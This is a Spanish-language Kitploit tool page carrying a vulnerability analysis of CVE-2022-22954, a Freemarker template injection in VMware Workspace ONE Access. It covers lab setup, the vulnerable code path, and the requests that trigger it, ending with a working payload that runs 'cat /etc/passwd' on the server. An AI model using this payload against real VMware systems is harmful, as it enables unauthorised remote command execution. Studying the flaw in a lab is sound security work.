Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22954 — CVE-2022-22954 analista | Kitploit
Herramientas/GitHubGitHub/nguyenv1nk/cve-2022-22954
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 analista

Ver Repositorio
hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis de CVE-2022-22954

Resumen

Workspace ONE Access (modelo de provisión de espacio de trabajo como servicio) ofrece autenticación multifactor, inicio de sesión único y acceso condicional para SaaS, aplicaciones web y móviles. CVE-2022-22954 es una vulnerabilidad de Server-side Template Injection existente en los productos:

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4, y 3.3.3
  • VMware vRealize Automation (vRA): v8.x y 7.6
  • VMware Cloud Foundation (VCF): v4.x y 3.x
  • vRealize Suite Lifecycle Manager: 8.x

Configuración

  1. Descargue el archivo ova de VMware Workspace ONE Access Appliance versión 21.08.0.1

  2. Abra el archivo con VMware Workstation; la máquina virtual debe estar en la red NAT

  3. En Networking Properties, configure el Host Name (FQDN)

  4. Una vez finalizada la instalación, acceda a la ruta https://{{hostname}}:8443/ para configurar la contraseña de la cuenta de la aplicación, la contraseña de la cuenta SSH y la base de datos de la aplicación La aplicación se ejecuta en https://{{hostname}}/

  5. Inicie sesión en la máquina virtual con la cuenta sshuser y cambie a la cuenta root La ruta de la aplicación está en /opt/vmware/horizon/workspace/ El código fuente de la aplicación está en el directorio /opt/vmware/horizon/workspacce/webapps

  6. Revise el archivo /opt/vmware/horizon/workspace/bin/setenv.sh y observe que la variable JAVA_OPTS puede configurarse para depuración remota

  7. Añada -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n a JAVA_OPTS y reinicie el servicio

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    

Análisis de rutas

Descargue el archivo hotfix HW-154129-applyWorkaround.py

En los pasos, hay un paso que elimina el archivo templates/customError.ftl de la aplicación

En el archivo customError.ftl, existe la función eval. La vulnerabilidad Freemarker SSTI puede explotarse desde aquí si se puede controlar el valor de errorObj.

En la clase com.vmware.enusercatalog.ui.web.UiErrorController, vemos que la función handleGenericError asigna el valor a errorObj a través de la variable errorMessage

Continuamos siguiendo las llamadas a las funciones y el parámetro errorMessage

Función handleUnauthorizedError

Función getErrorPage

En las dos funciones sendError y sendUnhandledError, el valor de errorMessage se obtiene de la propiedad javax.servlet.error.message

En la clase com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver, la propiedad javax.servlet.error.message”* se asigna en la función resolverExeption

La función handleAnyGenericExeption está anotada con @ExeptionHandler

En la clase com.vmware.endusercatalog.ui.UiApplication, entre los paquetes marcados con @CommponentScan se encuentra com.vmware.endusercatalog.auth

=> Las excepciones de este paquete pueden ser capturadas por la función handleAnyGenericExeption

En com.vmware.endusercatalog.ui.config, se añade el interceptor AuthContextPopilationInterceptor con las rutas /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify

Pasando a la clase com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor, en el método preHandle, la aplicación recibe dos parámetros deviceUdid y deviceType y llama a la función authContextBuilder

En la clase com.vmware.endusercatalog.auth.interceptor.AuthContext, aparecerá la excepción InvalidAuthContextException si no se cumple la condición this.isValidRequest

Para que isValidRequest se cumpla, los dos parámetros this.deviceId y this.deviceType deben estar ambos vacíos o ambos con valor

=> si se pasa un valor solo a uno de los dos parámetros, aparecerá un error aquí

Enviar la solicitud

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?deviceUdid=111 

aparece el error

root@kitploit:~
An unexpected error occurred while processing request with requestId: {0}.

Volviendo a la función com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, vemos que el error anterior aparece porque falta el parámetro requerido error

root@kitploit:~
    @GetMapping(
        value = {"/ui/oauth/verify"},
        params = {"error"}
    )
    @ApiOperation(
        value = "authorizeError",
        notes = ""
    )
    public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
        LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
        throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
    }

Enviar de nuevo la solicitud

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 

el valor de deviceUdid aparece en la respuesta

Insertar el parámetro que provoca la vulnerabilidad SSTI de Freemarker

Enviar la solicitud con el valor

root@kitploit:~
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

EXPLOTACIÓN

ENLACES DE REFERENCIA

  • https://kb.vmware.com/s/article/88099
  • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Descargar herramienta